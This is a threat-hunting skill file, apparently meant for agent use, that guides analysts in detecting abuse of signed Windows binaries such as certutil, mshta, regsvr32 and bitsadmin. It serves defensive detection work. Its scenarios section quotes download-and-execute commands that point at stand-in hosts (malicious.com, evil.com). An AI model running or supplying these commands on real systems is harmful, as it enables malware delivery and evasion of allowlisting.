1---2name: hunting-for-living-off-the-land-binaries-23description: Proactively hunts for adversary abuse of legitimate, signed system binaries4 (LOLBins) used to execute malicious payloads, download files, or proxy execution5 while evading application allowlisting and defense-evasion controls. Use when building6 LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion7 activity involving trusted system binaries.8domain: cybersecurity9subdomain: threat-hunting10tags:11- threat-hunting12- mitre-attack13- lolbins14- edr15- siem16- proactive-detection17- defense-evasion18version: '1.0'19author: mahipal20license: Apache-2.021d3fend_techniques:22- Executable Denylisting23- Execution Isolation24- File Metadata Consistency Validation25- Application Protocol Command Analysis26- Content Format Conversion27nist_csf:28- DE.CM-0129- DE.AE-0230- DE.AE-0731- ID.RA-0532mitre_attack:33- T104634- T105735- T108236- T108337- T102738metadata:39 source: https://skillmd.com/skills/26zl/hunting-for-living-off-the-land-binaries-240---4142# Hunting for Living-off-the-Land Binaries (LOLBins)4344## When to Use4546- When investigating fileless malware campaigns that bypass traditional AV47- During proactive threat hunts targeting defense evasion techniques48- When EDR alerts fire on legitimate binaries executing unusual child processes49- After threat intelligence reports indicate LOLBin abuse in active campaigns50- During red team/purple team exercises validating detection coverage for T12185152## Prerequisites5354- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)55- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)56- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list57- PowerShell command-line logging enabled (Module Logging, Script Block Logging)58- Network proxy or firewall logs for correlating outbound connections5960## Workflow61621. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").632. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).643. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.654. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.665. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.676. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.687. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.6970## Key Concepts7172| Concept | Description |73|---------|-------------|74| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |75| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |76| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |77| T1218.001 | Compiled HTML File (mshta.exe) |78| T1218.002 | Control Panel (control.exe) |79| T1218.003 | CMSTP |80| T1218.005 | Mshta |81| T1218.010 | Regsvr32 |82| T1218.011 | Rundll32 |83| T1197 | BITS Jobs (bitsadmin.exe) |84| T1140 | Deobfuscate/Decode Files (certutil.exe) |85| Proxy Execution | Using trusted binaries to execute untrusted code |86| Fileless Attack | Attack that operates primarily in memory without dropping files |8788## Tools & Systems8990| Tool | Purpose |91|------|---------|92| CrowdStrike Falcon | EDR telemetry and process tree analysis |93| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |94| Splunk | SIEM log aggregation and SPL queries |95| Elastic Security | Detection rules and timeline investigation |96| Sysmon | Detailed process creation and network logging |97| LOLBAS Project | Reference database of LOLBin capabilities |98| Sigma Rules | Generic detection rule format for LOLBins |99| Velociraptor | Endpoint forensic collection and hunting |100101## Common Scenarios1021031. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.1042. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.1053. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.1064. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.1075. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.108109## Output Format110111```112Hunt ID: TH-LOLBIN-[DATE]-[SEQ]113Hypothesis: [Stated hypothesis]114LOLBins Investigated: [List of binaries]115Time Range: [Start] - [End]116Data Sources: [EDR, Sysmon, SIEM]117Findings:118 - [Finding 1 with evidence]119 - [Finding 2 with evidence]120Anomalies Detected: [Count]121True Positives: [Count]122False Positives: [Count]123IOCs Identified: [List]124Detection Rules Created/Updated: [List]125Recommendations: [Next steps]126```